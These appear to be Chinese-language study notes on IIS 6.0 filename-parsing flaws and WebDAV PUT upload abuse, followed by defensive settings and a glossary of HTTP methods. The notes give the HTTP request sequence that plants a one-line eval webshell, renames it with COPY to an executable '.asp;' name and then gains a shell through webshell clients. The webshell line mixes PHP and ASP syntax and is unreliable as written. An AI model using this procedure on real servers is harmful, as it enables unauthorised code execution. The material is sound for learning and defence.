IIS6.0解析漏洞
IIS6.0解析漏洞
解析漏洞原理介绍
1. 当建立 *.asa、*.asp 格式的文件夹时,其目录下的任意文件都被IIS当做asp文件解析
2. 当文件是 *.asp;1.jpg ,IIS6.0同样会将文件作为asp文件解析
同时以下三种也可作为asp文件执行(只要是用asp.dll解析的文件,都可以被当做asp执行),也可以手动设置后缀名
test.asa;1.jpg
test.cer;1.jpg
test.cdx;1.jpg
PUT上传原理
WebDVA 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法
1. 探测是否存在IIS PUT 漏洞
OPTIONS /HTTP1.1
Host:www.xxx.com
2. 上传txt文件
PUT /a.txt HTTP1.1
Host:www.xxx.com
Content-Length:30
<%?php eval($_POST['a']);?%> #上传的文件内容
3.通过Move或Copy重命名
COPY /a.txt HTTP1.1
Host:www.xxx.com
Destination:http://www.xxx.com/cmd.asp;.txt #将a.txt重命名为cmd.asp(由于解析漏洞)
4.删除
DELETE /a.txt HTTP1.1
Host:www.xxx.com
PUT上传探测
OPTIONS 探测 和 自动化工具探测(kali中的nikto)
#利用nikto探测
-nikto -h IP
PUT上传利用(漏洞复现)
利用burpsuite抓包,根据PUT上传原理,修改相关参数
PUT的利用
第一行改为 PUT /123.txt HTTP1.1
将一句话木马<%?php eval($_POST[‘a’]);?%>写在最后
COPY的利用
将根目录下的文件123.txt 重命名为 123.asp;aaa.jpg(这样操作符合解析漏洞,又能避免查杀)
下面就可以利用Cknife、蚁剑等软件getshell
PUT文件上传防范
- 主目录关闭写入权限
- WebDVA设置为禁止
解析漏洞防范
- 自己编写正则表达式,禁止上传xx.asp;.jpg类型的文件
- 做好权限设置,限制用户创建文件夹
补充:HTTP 中请求方式汇总
1. OPTION
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送 ‘*’ 的请求测试服务器的功能性
2. HEAD
与GET方法类似,只不过不返回消息体。
HEAD的用法
- 检查资源有效性
- 检查超链接的有效性
- 检查网页是否被篡改
- 多用于自动搜索机器人获取网页的标志信息,获取rss种子信息,或者传递安全认证信息等
3. PUT
向指定位置上传新的内容,用作添加内容
4. DELETE
请求服务器删除Request-URL所标识的资源
5. TRACE
回显服务器收到的请求,主要用于测试或诊断
6. CONNECT
HTTP/1.1 中预留给能够将连接改为管道方式的代理服务器。